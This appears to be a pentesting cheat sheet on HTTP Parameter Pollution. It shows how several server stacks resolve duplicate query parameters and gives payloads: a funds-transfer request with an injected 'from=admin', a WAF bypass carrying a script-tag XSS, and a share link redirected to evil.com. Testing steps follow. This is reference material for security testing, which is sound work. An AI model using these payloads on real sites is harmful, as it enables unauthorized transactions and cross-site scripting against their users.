HTTP Parameter Pollution

When same parameter is sent multiple times, servers handle it differently:

PHP/Apache:    ?x=1&x=2  → x = "2" (last)
ASP/IIS:       ?x=1&x=2  → x = "1,2" (all)
Python/Flask:  ?x=1&x=2  → x = "1" (first)

# Duplicate parameter
?id=1&id=2

# Array syntax
?id[]=1&id[]=2

# Different encodings
?id=1&id%3D2
?id=1&%69d=2

# Transfer validation
Original: ?from=userA&to=userB&amount=100

# Attack
?from=userA&to=userB&amount=100&from=admin

# WAF checks first, app uses last
?search=safe&search=<script>alert(1)</script>

# Vulnerable link generation
/share?url=https://target.com&url=https://evil.com

# Social share manipulation
/tweet?text=safe&text=malicious

1. Send duplicate parameters
2. Observe which value is used
3. Test parameter arrays
4. Try URL-encoded duplicates
5. Test on both client and server actions